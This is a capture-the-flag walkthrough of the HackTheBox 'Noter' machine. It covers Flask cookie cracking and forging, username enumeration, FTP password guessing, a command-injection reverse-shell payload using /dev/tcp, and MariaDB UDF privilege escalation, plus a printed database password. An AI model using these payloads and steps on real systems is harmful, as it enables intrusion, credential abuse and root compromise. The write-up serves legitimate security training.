Noter - [HTB]
Table of Contents
Introduction
Noter is a medium Linux machine from HackTheBox where the attacker will have to crack a Flask JWT cookie and make some user enumeration to obtain FTP credentials. Then, discovering the application's password policy, it will be able to get access to a different FTP account, obtaining the web application source code. After analysing the source code, a vulnerable function is discovered, allowing it to obtain RCE. Finally, because the MariaDB service is executed by root, a library can be loaded to execute system commands as root.
Enumeration
As always, let's start finding all opened ports in the machine with Nmap.
kali@kali:~/Documents/HTB/Noter$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.160
Nmap scan report for 10.10.11.160
Host is up (0.10s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu May 12 13:16:40 2022 -- 1 IP address (1 host up) scanned in 106.17 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Noter$ sudo nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 21,22,5000 10.10.11.160
Nmap scan report for 10.10.11.160
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
At port 5000, there is an HTTP server with a note application web page .
Once registered and logged into the application, a weird JWT cookie is obtained, as seen in the screenshot.
Exploitation 1
Looking for Werkzeug JWT cookies, some posts appear talking about Flask JWTs. Then, looking about how to crack flask JWT there is this post, where you can learn how to crack a Flask JWT key with flask-unsign.
kali@kali:~/Documents/HTB/Noter$ pip3 install flask-unsign
kali@kali:~/Documents/HTB/Noter$ flask-unsign --unsign --no-literal-eval --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A" -w /usr/share/wordlists/rockyou.txt
[*] Session decodes to: {'logged_in': True, 'username': 'Marmeus'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17024 attempts
b'secret123'
Once the key is obtained, it is possible to modify the cookie changing the username as "Administrator."
kali@kali:~/Documents/HTB/Noter$ flask-unsign --sign --secret secret123 --cookie "{'logged_in': True, 'username': 'Administrator'}"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiQWRtaW5pc3RyYXRvciJ9.Yn1wcg.XzZ0caHInmOR1q_MmE5rx0V8i1g
However, it seems that this user can not be used to log in to the web page.
Nonetheless, it is possible to enumerate registered users on the application. This is possible because trying to access a non-existent account, you get "Invalid credentials", but if the account exists, so you typed the wrong password, the responded message is "Invalid login".
Enumerating usernames that match the "Invalid login" message, the user blue is obtained.
kali@kali:/tmp$ ffuf -H "Content-Type: application/x-www-form-urlencoded" -X POST -d 'username=FUZZ&password=asd' -t 60 -u http://10.10.11.160:5000/login -w /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt -mr "Invalid login"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : POST
:: URL : http://10.10.11.160:5000/login
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=asd
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Regexp: Invalid login
________________________________________________
blue [Status: 200, Size: 2025, Words: 432, Lines: 69]
Now, changing the username to blue in the Flask JWT cookie, it is possible to access the application as blue.
kali@kali:~/Documents/HTB/Noter$ flask-unsign --sign --secret secret123 --cookie "{'logged_in': True, 'username': 'blue'}"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yn2GJg.ZGbm8yHsMfRKM0Vs58C2FF_gv8g
The user blue has a note containing some FTP credentials.
Inside the FTP server, there is a policy.pdf
file.
kali@kali:~/Documents/HTB/Noter$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
> ls -la
229 Entering Extended Passive Mode (|||52427|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> pass
Passive mode: off; fallback to active mode: off.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |********************************************************************************| 12569 23.41 MiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (103.63 KiB/s)
Reading the documentation from the PDF, it is possible to know the password creation policy.
Password Creation
[...]
4. Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)
So, because the note was written by "ftp_admin" the password should look like "ftp_admin@Noter!".
Inside the ftp_admin user, there are two .ZIP backup files.
kali@kali:~/Documents/HTB/Noter$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||12907|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 05:52 app_backup_1638395546.zip
Exploitation 2
Making a diff between the file app.py
of both backups, some database credentials and one interesting function that executes commands is obtained.
# Credentials
17,18c17,18
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
# Export function
>
app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
The code requires a URL. Then, a request will be made, retrieving the text in the response. This text will replace $'{r.text.strip()}'
in the command that will be executed. So, if the text in the response is 'echo Marmeus'
, the final command will be node misc/md-to-pdf.js Marmeus {rand_int}
.
Because no input sanitisation is made, a semicolon can be added, making it possible to perform arbitrary code execution.
In order to obtain a reverse shell, you need the following set-up.
kali@kali:/tmp/poc$ ls
poc.md
kali@kali:/tmp/poc$ cat poc.md
';bash -i >& /dev/tcp/<YOUR_IP>/443 0>&1 #'
kali@kali:/tmp/poc$ python2.7 -m SimpleHTTPserver 80
kali@kali:~/Documents/HTB/Noter$ nc -nlvp 443
Finally, execute the following command.
curl -H "Cookie: session=<BLUE_JWT_COOKIE>" -X POST -d 'url=http://<YOUR_IP>/poc.md' http://10.10.11.160:5000/export_note_remote
The result will be a reverse shell as svc.
kali@kali:~/Documents/HTB/Noter$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.11.160] 36972
bash: cannot set terminal process group (1263): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@noter:~$ cat user.txt
[CENSORED]
Privilege Escalation
Using the database credentials, it is possible to access the web page database, but it is not very interesting.
svc@noter:~$ mysql -u root -p'Nildogg36'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 16808
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
However, the service is executed as root, so maybe it possible to obtain code executiont.
svc@noter:~$ systemctl status mysql
● mysql.service - LSB: Start and stop the mysql database server daemon
Loaded: loaded (/etc/init.d/mysql; generated)
Active: active (running) since Wed 2022-08-31 14:53:10 UTC; 10h ago
Docs: man:systemd-sysv-generator(8)
Process: 969 ExecStart=/etc/init.d/mysql start (code=exited, status=0/SUCCESS)
Tasks: 41 (limit: 4617)
Memory: 161.5M
CGroup: /system.slice/mysql.service
├─1068 /bin/sh /usr/bin/mysqld_safe
├─1184 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock
└─1185 logger -t mysqld -p daemon error
On exploitdb, there is a library that can be used compatible with this version of MariaDB.
Following the steps, you should obtain the user flag.
wget https://www.exploit-db.com/download/1518 -O raptor_udf.c
svc@noter:/tmp$ wget http://10.10.14.26/raptor_udf.c
svc@noter:/tmp$ gcc -g -c raptor_udf.c
svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
svc@noter:/tmp$ mysql -u root -p'Nildogg36'
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from mysql.func;
select do_system('cat /root/root.txt > /tmp/root.txt;chown svc:svc /tmp/root.txt');
\! sh
cat /tmp/root.txt
[CENSORED]